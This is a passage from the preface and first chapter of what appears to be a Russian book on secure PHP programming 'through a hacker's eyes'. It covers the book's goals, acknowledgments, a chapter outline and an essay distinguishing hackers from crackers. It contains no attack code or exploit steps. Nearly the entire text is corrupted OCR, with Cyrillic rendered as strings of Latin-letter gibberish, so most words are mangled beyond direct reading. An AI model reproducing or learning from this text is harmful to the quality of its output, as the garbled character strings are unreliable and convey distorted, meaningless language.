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lNpeaucnosune

[laHHas KHMra MocBsillieHa PACCMOTPEHMIO OIHOTO M3 MONYJAPHEIIHX S36IKOB
nporpaMmmupoBanusi Web-crpanun — PHP. C ee nomouubsio Bel Hayuntech npo-

rpaMMMpPOBaTh COGCTBEHHBIE CANThI M Aenarb MX 3Q(eKTUBHBIMH M 3aALUMIIEH-
HBIMH.

Yem oHa omiuuaercs oT Apyrux? BONBIIMHCTBO ABTOPOB CTABHT mepen coboii
Le/b HAy4YWUTh YWTATENsl MMPOrpaMMHpOBaTh M TOJIBKO B KOHIIE KHMIM obpauraer
BHUMaHUE Ha onTHMMU3auuio u GesonacHocTb. Ho 3T0 HenpasWibHO, NOTOMY
YTO, €C/IM YeJIOBEKa HayYUTh MPOrpaMMHUpoBaTh Hea(GHEKTHBHO, TO C MOMOLLLIO
napel J1aB NepeyyuThb ero OyneT cioxHo. [IPUBLINKK TSKEN0 MCKOPEHUTH, a4, KaK
rOBOPHUJI OIMH W3 MOMUX Mpenogasareneit B uHcturyre, "HenpasuibHo 3ay4yeHHBIN
Marepuan xyxe HesHaHus". Eciiu Bbl HEBepHO 3ayuyuiiM mMartepualn, To Gynere neii-
CTBOBATh HEBEPHO, MTOTOMY YTO CYMTAETE, UTO Ballle pellieHue sABJIsSeTcs NMPaBuib-
HBIM. A ecJlH BBl COBCEM He 3Haere, KaK MOCTYNMUTh, TO MOXETE MOMPOCUThL COBE-
T4 WM CITUCATh BAPMAHT PElIeHUs, H B 3TOM CiIy4yae Haiijere npaBUIbHbIA BbIXOI
M3 CIOXUBLIGHCS CUTYALIMH.

B nanHoM ciyuae olwubOKM niporpaMmbl OYIyT HAMHOIO IlOJI€3Hee, MOTOMY 4TO,
KOrjia BBl MIUeTe mpupoay owubkmM, Bbl jnydlie pazbupaerech ¢ MOCTABIEHHBIM
BOMPOCOM M MOXE€T€ HalTH npaBuiabHoe peurenue. OpHako GezownbouHo, HO
Hea(heKTUBHO HAMCAHHBINA KO MOXET MPUBECTH K (aTaibHOMY MCXO]LY.

JlaHHasi KHWra ocpeuraer sA3blk nporpammuposanusi PHP, Hauunaga ¢ caMuix oc-
HOB, ¥ OIHOBPEMEHHO 3aTPArMBAET ACMEKThl Ge30MacHOCTH M ONTHMH3ALIMK pa-
60Tl cueHapues. Takum obpa3oM, Bbl ¢ CaMOro Havaia Oynere yYMThbCsl CO3la-
BaTh 5I:ICTPI>IC M 3aIIHMILEHHBIC MPUJIOXEHHS.

IMouemy kuura HassiBaetcsl "lporpammuposanue Ha PHP rmazamu xakepa"? Yro
510 3a rasa? 1o MpOCThIE YEJOBEYECKHE I1a3d, NOTOMY HTO XaKepbl TOXE JIIONH.
['maBHOE OTIMYME COCTOMT B TOM, KaK CO3[al0TCA NMporpaMMal. Ecnu BB co3nanu
KOJI, KOTOPBIN BBITIOJHAET MOCTABIeHHbIE 3a1ayu, To Bbl mporpammuct. Ho ecimn
Ball Koa pabortaer nyuiie, GbicTpee W HalexHee, a TIaBHoe, GezonacHee wis cep-
Bepa, To BBl Xakep. McKyccTBO xakepa 3akiiodaeTcst B TOM, YTOGBI cenarh Kol
JIYYLINAM.



2 lMpegucnoeune

Xotst Mbl Gyzsem paccmarpuBarh 6€30MacHOCTb M ONTUMM3ALMIO B TEUYEHUE BCErO
nepvoja usyyeHus s3vika PHP, a1 He Mory ckasath, 4TO BBl MOJIYYUTE HCYEPIIbi-
Baloine cBeneHus. OyeHb MHOTOE MOXKET OKaszaThesl 3a NMpeaenamMd KHUIHM, 1o-
TOMY 4TO HEe/b3sl YBUJETh Bce W Henb3si Bhipaborath abconioTHo adiexTuBHLIE
M YHUBEPCAIbHbIE AITOPUTMbI HA BCE CIYYaW XW3HH. YHUBEPCATBHOCTh O4Y€Hb
4yacTo HecoBMecTUMa ¢ moHsTHAMH 3ddekTuBHocTH U GezonacHoeTH. Mbl Ke
nocrapaeMcsl HaydMTBCSH MBICIMTh TaK, YTOOBI CO3[AaBaeMbleé HAMU TMPOrpaMMEel
BBIMONHSUIHCH Haubonee 3(pdeKTHBHO.

BanoMIMKH OYEHBb YACTO MCIOB3YIOT HA BITOMAHHBIX CUCTEMax COOCTBEHHLIE
WIH CTOPOHHHME clUeHapuu Ha si3bike Perl 1ng noBblleHWs MPUBUIETHE WIH
BbIMOJTHEHUST ONMpeeNeHHBIX NeHcTBUil. B cBsian ¢ 3TUM HeKoTopble KOMNaHUH
OTKa3bIBAIOTCS OT Mcroab3oBaHus Perl Ha cBoMx cepBepax, W aAMUHMCTPATOPHI
BCE peXe YCTAHABAMBAIOT ero. DTO MO3BOJSET B KaKOW-TO CTENeHH MOBBICHTS
Ge3zonacHoCcTb, HO MPOGECCHOHANBHOIO B3TOMUIMKA TAKUMM JEHCTBUAMH He
OCTAHOBHILb.

B naHHON KHMre Mbl paccMOTPHM, KaK B3JIOMUIMKHM MOTYT Mucath cobcTBeHHbIE
cLeHapuM uia Batoma ceppepoB. Her, s He Oyay nucars YT0-TO M3 cepuM aBro-
MaTHYECKHX B3JIOMILHKOB, 1a0bl MEHs He OOBMHWIM B TOM, YTO TENEpb KOJMYe-
CTBO XaKepoB yBeauuHTcs B pasbl. [lpobrema B TOM, 4TO cpeicTsa, IpUMeHAEMhIe
AIMUHHMCTPATOpaMH [UTA  3alUMTBI, MOTYT MCIOJL30BATLCH B3JIOMLUMKOM JUIS
BCKPBITHSI 3aLIATHl. AHAJOTMYHO, CpeacTBa B3JI0Md MOCYT ObITh WCIONbL30BAHEI
U TeCTUPOBaHHA BGesonacHocTH U JUTH 3alIMTHL.

51 NO3MLMOHMPYIO KHHUTY KaK CPEICTBO TMOBbIiLIeHHs GE30MacHOCTH M HaIeloch,
YTO MMEHHO C 3TOi 1IeNbI0 Bbl OyleTe nmpUMeHaTh cBoM 3Hanus. daxe npocroit
HOX MOXET CJIYXWTh CPEICTBOM Hape3KH MpPOLYKTOB, @ MOXET MCMOJIb30BaAThCS
Kak opyxue. Xouercss HalesiTbCsl, YTO BBl MCIIOJIB3YETE BCE IO Ha3HAYEHHIO,
B TOM YHCIIEe M 3HAHHA.

B Hawre BpeMst 3HaHUA CTAHOBATCH CaMBIM ONAacHbIM opyxueM. UMeHHO noatomy
s Byny nenarb GonblIKi akueHT Ha Ge3onacHocTH W 0coB0 BaXHBIE MOMEHTHI Oymy
YMayuBaTh, 1a0kl He MONTONKHYTh JIIOOOMBITHEIX MOJOALIX JIOAEH K HapyLIeHH O
3akoHa. KoHeuHO XKe, OIHOI 3TOif KHUIM HEIOCTATOMHO ISl B3JIOMa cepeepa, no-
TOMY 4TO HYXXKHBI HAMHOTO GoNbIIKE 3HAHWS, B TOM Yncie U 3HaHue OC.,

PaccMmaTpuBasi pUMeEpPBI TOTo, KaK Xakep MOXET BIIOMATh CLEHApHH, HAMWCAHHLIE
Ha si3eike PHP, mbl 6yaeM, Kak mnpasufio, MoipasyMeBarth, YTO cepsep paboraer roj
ynpaprennem OC Unix win onHoro U3 ee KioHoB, Hanpumep, Linux. emo
B TOM, YTO ocHoBHas yacTb Web-caiitos ¢ PHP-cuenapusimn paboraer nom ynpas-
JIEHHEM MMEHHO 3THX OrepauuoHHbIX cHeteM, 2 OC Windows Gojibllie HCMoObay-
ercsl COBMECTHO ¢ TexHonorusamu Microsoft, Hanpumep, ASP, Tloaromy mis sy4-
IIET0 MOHMMAaHMs MaTepuaia BaM HeoOXOAMMO HMMeTb XOTs Obl MOBEPXHOCTHOE
npencrasieHue o kakoi-uudbyas OC cemeiictBa Unix. A eciM Bbl 3HAeTe OCHOBBI
©e30MacHOCTH 3TOM CHCTEMBI, TO Halll pasropop Oymer Gosee NMPONYKTUBHBIM. st
JTOro s pEKOMEHIYI0 BaM NpoYMTaTh KHUTY "Linux rmazamu xakepa" [1].
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BnaropapHocTi

OveHb xouercsi mobaarogapuTh BeeX TeX, KTO IMOMOral MHE B CO3MaHHM 3TOM
KHurn. S He Oyny GrarogapuTb B MOpsiAKe 3HAYUMOCTH, MOTOMY HYTO Kaxkmas
NOMOILbL OYEHB 3HAYMMA Ul MEeHS M ISl Takoit kHuru. IToaroMmy nopsiniok He
HeceT B cebe HMKAKOro cMbicia, a BeibpaH Tak, 4To0bl 1mocTaparscss HUKOTO He
3a0bITh.

Xouercst mobnarogaputs usnarenscrtso "BXB-IlerepyGpr", ¢ KoTOphIM Yy MeHs
CJIOXHJIOCH YK€ IOCTATOYHO J0JIroe M MPOAYKTHBHOE coTpyaHuyecTBo. Hanewocs,
YTO 3TO COTPYAHMYECTBO He npepsercss HuKoraa. Cnacubo penakropaM U Kop-
PEKTOpaM 3a TO, YTO YKA3bIBAOT HA MOM HENOYEThl M MOMOTaloT CAENaTh KHUTY
Jydllie ¥ HHTEpPEeCHEe.

Xouercst mobnarogapuTh CBOIO CEMblO, KOTOpasi TEPNHT MOW MCYE3HOBEHMS 3a
KOMITBIOTEPOM. $1 MpeKpacHoO MOHUMAIO, YTO TSXKEN0 BHAETh MyXa M OTHA ceMeli-
CTBa, KOTOpBI Bpoze Gbl JoMa M B TO Xe€ BpeMsi OTCYTCTBYeT. DTO HanoMWHAET
3aranky: "BucHT rpyiua, Helb3s cKywuiats'. £, npasma, He rpyiia ¥ HUCAE He Mo-
BELLIEH, HO BOT MOJIb3BI OT TOTO, YTO 5l HAXOXKYCh JOMA, JUisl JeTeil M XeHbl Maio ©.

OrnenbHas GrarofapHOCTb AIMUHUCTpaUMK caifta www.cydsoft.com 3a To, uTO
MPEeAOCTABUAN XOCTHHI UISI TECTHMPOBAHUSI CLEHAPHEB M [MOMOMIHM XOPOUIMMHU
MIesIMH, COBETAMM M NaXe KomaoM. Xovy nodnaroflapurb Tex, KTO paspellui Tec-
TUPOBaTh MX CEpBepPhbl M CLUEHApUW B LEISX BbIABIEHUS OWIMOOK, a Takke nan
NIPOCMOTPETh CBOM CLEHAPHM M HACTpoiiKM OesonmacHocT. B3amen cBoeir wien-
POCTH BCE€ 3TH KOMMAHWUM W calfThl MOJAYYHIH Oojiee CIIOKOIHBIA COH, MOTOMY
YTO [I0 3TOTO MX CAHThl HUKTO HE TECTHPOBAT, M OLIMOOK 6LUIO OYeHb MHOTO.

He ycrany Gnaromaputbh BceX CBOMX IpY3€il, KOJNMYECTBO KOTOPBIX NMOCTOSHHO
pacreT, ocobeHHO apy3eit no caiity www.vr-online.ru. ix MHOroieTHIOI MOMOLIh
M TIOLIEPXKKY HeJIb3sl epPeoLIEHUTb.

EnuucrBenHas GraronapHocTb, KOTOPYIO st Xores Obl MoxuepKHyTh Oobliie Beex
W NpUIATh eit GONBILYI0 3HAYMMOCTb, — 3TO BaM, 3a TO, YTO KYNMWIH KHUTY, M
MOUM TIOCTOSHHBIM YHTATE/ISIM, KOTOPbIE TAKXKE YYACTBYIOT B CO3NAHUU KHHT,

Bce Mou nocnenHue paboThl OCHOBBIBAIOTCS HA BONMPOCAX M TMPEIOKEHUSAX YuTa-
Teseil, ¢ KOTOPBIMH $ peryjsipHo obuaioch Ha dopyme caiita www.vr-online.ru.
Eciu y Bac nosiBATCS KaKME-TO BOMPOCHI, TO MUIOCTH Mpolly HAa 3TOT (opyMm.
Sl nocrapaioch NMOMoYb MO MEPE BO3MOXKHOCTH M XY JIIOObIX KOMMEHTapUeB Mo
NOBOMY 3T0if KHUrK. Bamy 3ameyaHust MOMOryT MHE Clieaath 3Ty pabory Jiyuiue.

Kak yctpoeHa aTa KHUra

Tak Kak yposeHb TOATOTOBKM YWTaTesNisi MoXer ObiTh pasHbiM, Mbl Oyaem pac-
CMaTpUBaTh BCE, YTO KacaeTcs TeMarHKM KHUTH, AOCTATOYHO noapobHo, 4ToObl
YUTATETH C PA3HBIM ONBITOM MOIVIM MOHATH ONMCHIBAEMBINA MATEPHAIT.



4 lMpepucnosne

Kuura cocTonT M3 NATH 17148, KOTOPBIE MOC/IEN0BATe/IBHO MOrPyXaloT Bac B MUP
Web-nporpammuposanug ¢ nomoiwsio PHP. [laBaiite kpaTko mocMOTpUM, YTO
BAC OXMWIAET B KAXKION M3 MATH IJIas.

Inasa 1. Beenenme. B 3Toit raBe Mbl y3HaeM, KTO TaKHe Xakepbl U Kak CTaTh
xakepoM. MbI pasbepemcs, B YeM OTJIMYHE XaKepoB OT KP3KEPOB, W Bbl HOIXKIbI
YETKO 9TO YSICHWTh, MOTOMY YTO Bpara Hy»HO 3HATh B JIMLO WIK XOTS Obl MOHM-
MaTh ero ncuxonornio. MoMuMo STOrO Mbl NMO3HAKOMMMCSH C OCHOBaMHM MHTEP-
nperupyemoro sizsika PHP u ysHaem, [is 4ero oH HYXEH M KaK M Te MOXET
NPUMEHSATHCS.

I'nasa 2. Ocunoset PHP. C 3roif rnassl Mer OyneM nucarh CUEHApU#, HAMWUHAA
C CaMBIX OCHOB — ohopMieHHe Kofa, NepeMeHHble, yNpasieHue BhITIOIHEHWEM
cueHapust M T. 4. Xotsi Gynyr obeyxaarbesi asbl, YXKe 3[ech Mbl MO3HAKOMUMCH
C MHTEPECHBIMH AITOPUTMAMU M OCHOBaMH 0€30MAacCHOCTH paccMATPUBAEMBbIX
TexHoJorui. Be3onacHoCTh — JAOCTATOYHO CJIOXHAA TeMA, KOTopas 3aTparuBaeT
a0COMIOTHO KAaXAYI0 CTPOYKY KONA, U ONHOW T/IaBhbl [UIS OCBEILEHUS 3TOU TeMbl
HenocrarouHo. Hanpumep, npu obcyXaeHMH TeMmbl nepenadv MapaMeTpoB OT
T0J1b30BATE/SA K CEpBEpY MBI y3HAEM, YTO JJISi 9TOFO CYLUECTBYET HECKOJIBKO Me-
TOMOB, U HH OAMH M3 HUX HENb35 CUUTATL BE30MacHbIM, MO3TOMY Mbl 3aTPOHEM
METO/IbI MPOBEPKH MAPaMETPOB.

I'nasa 3. Bezonacuoctb. B 57T0ii rnase 6yner paccmarpusarbesi 6e30MaCHOCTb CO3-
JaBaeMoro Koja, HO TOJIBKO obune IIPUHIIHUITBI ¥ OCHOBBI. Kamaa rjiaBa KHHUI'd
3aTparuBaeT Bonpochkl Oe30MacHOCTH B TOM MIM MHOM cTerneHH. 31ech Xe M
clie/laeM yrnop Ha TEOpHUI0, 4 B 21a6ax 2 U 5 Npu pacCMOTpPeHHH IPUMEPOB MEI
Oynem Oonblie yAensTh BHUMAHUS MPaKTUKe.

Ber Takke ysHaere, uto obecrneuyeHue 6€30MACHOCTH — 3TO KOMIUIEKCHAs 3amava,
M, Hanucas MIeanbHbii cleHapuii, HO HenpasiIbHO HACTPOMB CEpBEp, Bl He
CMOXeTe crarh CrokoiiHo. MakcuManbHo Ge3onacHbIM TOKHO OLITH BCE.

I'maa 4. Onrumuszamns. BesonacHocTb, cKopocTh paboTel M yno6cTBO — uyalile
BCEro MpOTHBOPEYMBLIE MMOHATHS, [TO3TOMY MOCTOSHHO NMPUXOAUTCA MCKATh 30510-
TYIO cepeauHy, 4ToObl cueHapuil pabortan GeicTpo, GesonacHo, a Kon ObUl JIErKO
YUTAEMBIM U YAOOHLIM B CONMPOBOXIEHUH.

I'nasa 5. Ipumeps padorm 8 PHP. Dta miasa conepXuT NpakTHYECKUe pelieHns
THIMYHBIX 33184 COBMECTHO C TEOPETHYECKMMM 3HAHMAMM. MBI pacCMOTPHM ce-
TeBbie QYHKUMKH W TYT Xe HAMHIIEM HECKONBKO MHTEPeCHBIX MpuMepoB. Maur Gy-
IeM TOBOpHTH 06 ayTeHTH(HKALUMK U ABTOPH3ALKMKM M y3HAEM, KaK pelraercs 3Ta
3anaya B Web-npunoxeHusx.

Kaxknas rexHojorus Gyaer paccMaTpuBaThes ¢ TOMKHM 3peHUsi Xakepa W Gesonac-
HOCTH. MBI IOCTATOYHO MOAPOOHO ODCYAMM HEKOTOpPbIE BOMPOCHI TOTO, KaK Xa-
Kepbl BIJIAMBIBAIOT cleHapuu (Harnpumep, araky SQL Injection), uTobbr Bbl 3Ha-
JIW, KaKkue MoryT ObITb Mephl MPOTHBOAEHCTBHUS aTaKaM.



Mnasa 1

BeepgeHune

Korma s yunnacs B MHCTHTYTE, OIMH M3 Mpenonasareneil ckaszan gpasy, Koropas
OTJIOXKHWIACh ¥ MEHA B NMaMATH Ha joiarde roasl: "HenpasuibHO 3ay4eHHBbIH Mare-
puan xyxe He3HaHus". JeHdcTBUTENIBHO, €C/TH BB YEr0-TO He 3HAETEe, TO CIpocUTe
y Gonee OMBITHBIX MPOrpaMMUCTOB MW Haiigere orBer B MutepHere. Ecnu Bol
3ay4MJIM MaTepuas HesepHo, TO GyjeTe MCMONL3OBATH €ro HEBEpHO, 4 B cjy4ae
C MPOrpaMMHUpPOBAHUEM MHTEPHET-TIPUIOXKEHHUIT 3TO TIPEACTABISIET OMACHOCTD LIS
cepBepa.

KHHUry MOTyT YHTaTh MPOTPAMMHCTEI Pa3HOTO YPOBHS, MO3TOMY B JaHHON W cie-
nyiouieit rnase uanaraiorcs ocHoBbl PHP. Sl mocrapames chuenats KHUTY noHsT-
HOM Haxe TeM, KTO BHIWT 3TOT #3bIK BriepBbie. KoHeuHO Xe, oHa He CMOXeT
CTaTh BALLUM €MHCTBEHHBIM Y4eOHUKOM, HO HANEKOCh, YTO OyIeT OCHOBHBIM.

1.1. KTo Takme xakepbi?

DT0 DOBOJILHO CHOPHBII BONPOC, U f JOCTATOYHO MHOIO MHCAT O TOM, KTO Takue
XaKepbl M KaKk MMM cTaTh. Eciu BRI yKe UMTanM MOW KHMITH, TO 3TOT pasjen no-
KaXeTcsi BaM 3HAKOMBIM, HO OTIIMYMS €CThb, MOTOMY YTO B JAHHOM CIy4ae Mbi
nenaem ymop Ha Web-nporpamMmupoBatne 1 Web-B3aoM, a 31eck €CTb CBOM OT-
nuuus. Jlasaiite pasbepem nmousaTHe "Xakep" ¢ MO3ULIMM, C KOTOPOil s Gyny pac-
CMATpUBaTh €ro B JaHHoi KHure. Ho Juia Havana Hamo HeMHOro yriybuThcs
B UCTOPHIO.

[ToHaTHe "xakep” 3apoOAWIOCH, KOTAA TOJILKO HAMMHAIA PACIIPOCTPAHATLCSA mNep-
Bast cetb ARPANET. Torna ato noHsitue o6o3Hayaso 4yejioBeKa, XOpolo pazou-
paioiierocs B KoMIbloTepax. HekoTopble naxe MOApasyMeBald IION XaKepoMm
yejloBpeka, "rnmomelaHHoro” Ha koMmnbiotepax. [ToHsiTHe accouuMpoBaiivi CO CBO-
GONHBIM KOMITBIOTEPIINKOM, YEJOBEKOM, CTPEMAILIMMCS K CBOGO/IE BO BCEM, YTO Ka-
caoch ero jiobumoit "urpywku”. baarogaps 3ToMy CTpeMJIEHHIO M Tare K cBobo-
HoMy ofMeHy MHopMalMel W Havyalock Takoe GypHoe passutie BcemupHoU certw.
Wmenno xaxkepsl nomornu pasutuio Mureprera u coznamn FIDO. Bnaromaps um
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nosasuics UNIX-nonobHsie cucTeMBbl ¢ OTKPBITBIM HCXOAHBIM KOJIOM, HAa KOTO-
pHIX ceiiyac paboraer Ho/iblloe KOJIUYECTBO CEPBEPOB.

B Te manexue BpemeHa ellle He OBLTO BUPYCOB, M He BHeApHMIAach MpakTHKa B3jo-
MOB CeTel WJIM OTAENBHBIX KOMIbIOTEpoB. O6pa3 xakepa-B3JIOMILUKA MMOSABUIICA
HeMmHoro nosxe. Ho ato Tonsko o6pas. Hacrosiume Xakepbl HHKOrAa HE MMETH
HUKAKOrO OTHOIIEHHS K B3/IOMaM, a4 ec/IM Xakep Harpapjisjl CBOM [eiCTBHA HA
paspylieHHe, TO 3TO Pe3Ko OCYXIATOCh BUPTYanbHbIM coobiuectBom. [laxe ca-
Mble sIpKMe rnpenactaButesn Goplos 3a ceobony He mobsAT, Korga Kro-inbo Bme-
LIMBAETCS B MX JIMYHYIO XHU3HB.

Hacrosiuuit xakep — 310 TBopell, 4 He paspyururesns. Tak Kak TBOPLOB OKasa-
Jock Gosblie, YeM paspyliMTesieil, TO HCTHHHBIE XaKepbl BbIIEIWIM TeX, KTO 3a-
HUMAeTCs B3IOMOM, B OTHENBHYIO [PYIIY W HA3BAIM MX Kpakepamu (B3roMuiu-
KaMM) WJIM mpocTo BaHaanamu., W xakepbl, W BITOMIIMKH SIBIAIOTCS TEHUSMU
BupryanbHoro Mupa. M e, u npyrue Gopiotesi 3a coGomy moctyna K MHbOpMa-
K. Ho TonbKo Kpakepbl B3JaMBIBAIOT caifThl, 3aKpbIThie 0a3bl JaHHBIX U APYIHe
MCTOYHUKU MHGOPMALMK C UENbI0 COOCTBEHHOH HAXKUBBLI, PAIM NEHEr WIM MU-
HYTHOI#t C1aBbl, TAKOTO YEJOBEKa MOXHO HA3BaTh TONBLKO MPECTYMHUKOM (KeM OH
no 3aKoHY u gBnsercal).

.

Ecau BBl B3IOM&JIM nporpaMmy, 4Tobbl yBUOETh, KAK OHA paboTaer, TO Bbl — Xa-
Kep, @ Npu HAMEpeHWH ee MpoAaTs WM TpocTo BbUIOXUTH B MHTepHere crack
(Kp3K) CTAaHOBMTECH MpPECTYNHHUKOM. EXenu BBl B3IOMaIH cepBep U COOGILMIN
aIIMMHHCTpalK 00 yA3BUMOCTH, TO Bbl, HECOMHEHHO, — XaKep, HO KOJIH YHW'-
TOXMUIM HHGOPMALMIO ¥ CKPBUIACH, TO 3TO yXe TPeCTYIJIEHHE,

Kanb, 4yTo MHOTHE CNMEUMATHCTBI HE BHAAT 3TOH PasHMUIIBI M MYyTAIOT XakepcKue
MCCJIEZIOBAHMS C TIPaBOHApYIIEHMAMMH. Xakepsl MHTEpEcyloTcs cHcTeMoif Gezo-
MacHOCTH CHCTEM M CEpPBEPOB WIS OMNPEeNe/NeHNnda ee HauexHocTH (uin B obpaso-
BATEJILHBIX LEJSX), @ KPIKEPbl — C LE/IbI0 BOPOBCTBA WIIM YHUYTOXEHHS JaHHBIX.

[Mepeuncinio KaTeropuu Kpakepos.

O Bupyconucameau NpUMEHSIOT CBOM 3HAHWS Ui TOro, YTOOBI HammMcaTb NMpo-
TpaMMy paspyUIMTENbHOH HaNpasleHHOCTH.

O Bandanst cTpeMATCS YHHUTOXUTH CUCTEMY, YAAUTUTH Bee Qaiiyibl WIH HApYLIUTL
paboty cepsepa.

O Bzaiomuwuru KomMnviomepos/cepéepoé cOBEPIAIOT "Kpaxy co BITOMOM" ¢ LENbio

HaXMBBI, BBIOJIHAN, 3a4acTylo, YbM-NM60 3aKaspl Ha nonydeHue uHdopma-
LIMM, OY€Hb PEIKO UCTIONB3YIOT CBOM 3HAHHS B PAa3pyUIMTENBHBIX LIEJSX.

O Baaomuuku npoepamm CHUMAIOT 3AIUTY ¢ NporpaMMHoro obecneueHus U npe-
[NOCTABJISIIOT €ro g Bceobuliero ucnonb3oBaHus. Takue N0AM MPHHOCAT
yuiep6 codreepHbiM dupmam U rocynapersy. IlporpaMMMCTBl JOMKHBL TTIOTY-
Yyarh 3aprjary 3a cBOi Tpya.
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YroOhl euie pa3 MOMYEPKHYTh PASHUILY MeXIy XaKepoM W Kp3KepoM, MOXHO
CPaBHHUTb MX €O B3JIOMIUMKaMu nporpamMMm. Bce npexkpacHo noHUMalT, 4TO
MHOrHe co)TBEpHEbIE (DUPMBI 3aBBILIAIOT LIEHBI HA CBOM MPOrPAMMHbIE MPOAYKTSI.
Kpakep 6yzner GopoTbes ¢ LIEHAMM C MOMOIUBIO CHATHS 3aLIMThI, 4 XaKep CO34acT
CBOIO MMPOrpamMMmy C AHANOTMYHBIMM (YHKUWSMHU, HO MEHbILEH CTOMMOCTH WITH
Boobue becrnnatiylo. Tak apuxeHue Open Source MOXHO NMPHYHCHAUTE K Xake-
pawm, a Te, KTO MHUILET KP3KH, OTHOCATCS K BIJIOMLLUKAM, T. €. KpaKepaM.

MHe kaxercsi, YTO MyTAHULA B TMOHATHAX OTYACTH BO3HUKJIA U3-32 HEKOMIIe-
TEHTHOCTH B 3TOM BOMpOCE CPeACTB MaccoBoil mHbopmaumu. KypHamucTsl no-
nyasipusix CMU, He snonue pasbupasch B npobneMe, NPUNUCHLIBAIOT XaKepam
B3JIOMBI, J€/1as U3 HUX MPECTYNMHUKOB.

Ha camom Xe nene, xakep — 310 npocro reHuii. MctuHHbe Xxakepbl HUKOTIA HE
MCTIONB3YIOT CBOM 3HAHUA BO Bpel Apyrum. UMeHHO K 3TOMy s IpH3bIBAIO B JAH-
HOM KHHMre, ¥ HMKAKOro KOHKPETHOI'O BIIOMa WM BHPYCOB OHA HE CONEPXKMT.
Byzner TonbKo mosie3Has M no3HasaTeNbHas WHGOPMALKMA, KOTOPYIO BBl CMOXETE
MCITOJIb30BATh Ul YMHOXEHHSI CBOMX 3HAHMIA.

Hrak, ecnu Bail caiT BIIOMag Xakep, TO OH NMOKAaXET BaM YsI3BUMOCTb M, BO3-
MOXHO, NaXe MMOCOBeTYeT, Kak Hcripasutbh owmunbky. Ho eciu owubky Haiiper
KpaKep, TO MOXHO IMOTEPSATH JaHHbIE MW TJIABHYIO CTPaHHUILY.

B GonblIMHCTBE C/Iy4aeB K Xakepam OTHOCSTCS OIBITHBIC WIH MOJOJbIE JIONHM,
KOTOPbIMH IABHXKET CTPEMJIEHHME K H3YYEHHIO HEro-to HOBOTO. Onu TECTUPYIOT
caifTel U1t TOro, Yrobsl y3HaTh, Kak Te paboTraiorT, M eciu B Npolecce U3y4deHus
Gyner nHainena ownbka, To MporpaMMUCT caTa WIM aIMUHUCTPATOP Y3HAIOT 00
9TOM IMepPBLIMH.

Kpakepst — 310, B OCHOBHOM, MoJjoable Jiogd. B GonplIMHCTBE ClydaeB MMM
IBUXET CTPeMJIEHWE MOKA3aTh CBOE MPeBOCXOACTBO. Takue Kp3Kepbl MOTYT TOJb-
KO M3MEHHMTb TNABHYIO CTPAHMLY WJIH ChITPAThH C MOJB30BATENAMM WIM aIMHHH-
crparopaMu OGe3o0uaHyio wyrky. Ho ecin Kpakepom ABHXET HIEOJOrHYECKOe
cooOpaxeHHe, TO 3TO yXKe onacHo. Takoil 4ejoBeK MOXET YHHYTOXUTh MHbOp-
MAalKHIo, MOTOMY YTO TYT HA MEPBLIH IUIAH BBIXOAUT CTPEMIIEHHE MAKCHMMAILHO
HapyluTh paboTy cepBepa U caiirta.

Xakepb! IODKHBI HE MpOCTO 3HaTh Kommblotep. Korna Mbl 6yneM paccMarpuBaTth
aTaku, KOTOpbIE WMCIOAB3YIOT Xakepbl, TO Bbl YBHOMTE, YTO G€3 HABBIKOB Mpo-
TPAaMMHUPOBaHUS PEAIN30BaTh GONBIIMHCTBO M3 3TUX [PHEMOB DyleT HeBO3MOX-
HO. Ecnu BBl 3aMHTEpECOBANTUCH W PELUWIM MOBBICUTL CBOW YPOBEHb MacTepcTsa,
TO MOTY NMOCOBETOBaThH NpounTaTh Mou KHUTH "Tlporpammuposanue B Delphi rna-
samu xakepa" [4] u "TlporpammupoBauue Ha C++ rmasamu xakepa” [3]. Hazeiocs,
3TO MOMOXET BAM HAYMUTBHCA CO371aBaTh COOCTBEHHBIE WIYTOYHBIE MPOrPaMMBl
1 Xakepckuii codr.
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1.2. Kak ctatb xakepom?

Bror Bonpoc 3apaoT cebe MHOrve, HO TOMHOTO OTBETA BaM He pact Hukro. A no-
CTapalch BBIIEINTE HEKOTOPBIE OOLIHE acleKThl, HO BCE 3aBUCHT OT KOHKPETHOM
0ob1acTH, B KOTOPOIi Bbl XOTHTE CTATH JIYUILIMM.

CpaBHHM KOMIIBIOTEPHOTO crielHanueTa co crpouteneM. B kaxnoii npodeccin
CYILLECTBYET HEKas creluain3anus (pa3Has HanpaeieHHOCTE). XOpoLHM CTPoH-
TeaeM MOXeT OBITh OTAMYHBIN KAMEHIUMK wiu wrykatyp. ToyHo Takke U xake-
POM MOXET OBITh CHEUMAIMCT [0 ONepalMoHHbIM cucrteMaM (Hanpumep, UNIX)
winu nporpamMmuct (npuioxennit uan Web-caiitos). Bee 3aBucuT oT Balmx wH-
TepecoB U noTpebHocTe.

anBeﬂy HEKOTOpEIE peKOMEHOAUMUH, KOTOpbIE MOMOTYT BaM CTaTb HacTOALIHM
XaKepoMm U J00UTHCH MPU3HAHUS CO CTOPOHBI Apy3eil u Kojuter.

1. Bbl 10MKHBI 3HATH CBOH KOMMBIOTEP W HAYYHThCA 2(P(EKTHBHO UM YNPaBsATE.
Eciin BBl Oynere etlle ¥ 3HaTh B HEM KaXIyIO XeJIe3Ky, TO 3TO TONbKO A00aBHT
K Balieif olleHke 1mo "XakepceTBy" GOJBILOI W XKUPHBIH MIOC,

Yto s noapasymenaio moi yMeHHeM 3(h(EKTHBHO YIPaBIATE CBOMM KOMITbIO-
TepoM? 3HaHHE BCEX BO3MOXHBIX CIOcODOB BHINOMHEHMSI KAXKIOTO AeHCTBHS U
YMEHHE B KaXI0H CUTyallMH MCIIOJb30BATh ONTHMAIbHBINH. B 4acTHoOCTH, BEI
JIOJDKHBI HAYYMThCS TMMOMB30BATHCH "ropauyuMMK” KIaBMIIAMH M HE JEprari
MbIllb O Jiio6GoMy mycTsiky. Haxarie KiaBHILN BbITIOJHSIETCS OpicTpee, uem
moboe, naxe MaleHbKoe, nepemMelleHne Meilu. [Tpocro npuyuaute cebsi K aTOMYy,
M Bbl YBUAMTE Bce mpenecTH paboThl ¢ Kiasuarypoi. JIMUHO s UCMONB3YIO
MBIllIb OYEHb PE/IKO M CTapaioch BCeria MPUMEHSATh KIaBHaTypy.

Manenbkuii npuMep Ha 3Ty TeMy. Moii HauyaIbLHHK BCEra KOMUPYET W BCTaB-
JisieT panHeie U3 Gydepa oOMeHa ¢ MOMOILLBLI0 KHOMOK HA TMAHENH MHCTPYMEH-
TOB WM KOMAHJ KOHTEKCTHOIrO MeHIO, KOTOpoe MOsIBISIETCS MPH 1LeNYKe mpa-
